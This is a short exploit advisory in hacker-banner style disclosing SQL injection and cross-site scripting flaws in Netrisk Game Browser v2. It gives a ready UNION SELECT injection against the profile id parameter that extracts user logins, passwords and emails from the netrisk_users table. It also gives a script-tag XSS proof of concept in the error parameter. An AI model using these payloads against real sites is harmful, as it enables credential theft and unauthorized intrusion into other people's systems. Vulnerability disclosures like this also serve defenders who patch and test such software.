Netrisk Game Browser 2 SQL Injection / Cross Site Scripting

`[*]##############################################   
[+] |____ViRuS_HiMa@YouR SyS__|__\ #  
[+] |______________________|___||\*___ #  
[+] |______________________|___||""|"*\___, #  
[+] |______________________|___||""|*"|___|| #  
[+] "([ (@)''(@)""""""(|*(@)(@)********(@)* #  
[+]====================================================================||  
[*] About : Netrisk Game Browser v2 (Sql/Xss) Vulnerability ||  
[!] Download : http://sourceforge.net/projects/netrisk/ ||  
[!] Author : ViRuS_HiMa ||  
[!] Site : wWw.HeLL-z0ne.org ||   
[!] E-Mail : eGypT_GoVeRnMenT[at]HoTmaiL ||  
[!]====================================================================||  
[!] http://www.rasoulallah.net ||  
[!]====================================================================||  
[!] Sql : in user id ;  
[!]  
[!] http://localhost/netrisk/index.php?p=profile&id=sql  
[!]  
[!] e.g :   
[!]  
[!] http://localhost/net/index.php?p=profile&id=-1+union+select+1,  
[!] 2,login,4,5,password,7,8,9,10,11,12,email,14,15+from+netrisk_users--  
[!]  
[!] xss vuln in :  
[!]  
[!] http://localhost/netrisk/index.php?p=browser&error=<script>alert(/hima/)</script>  
[!]  
[!]====================================================================||  
[!] Greetz 2 SecurityReason & Indoshka & Hcj & Doksh & Kasper-Ksa ||  
[*]====================================================================||  
`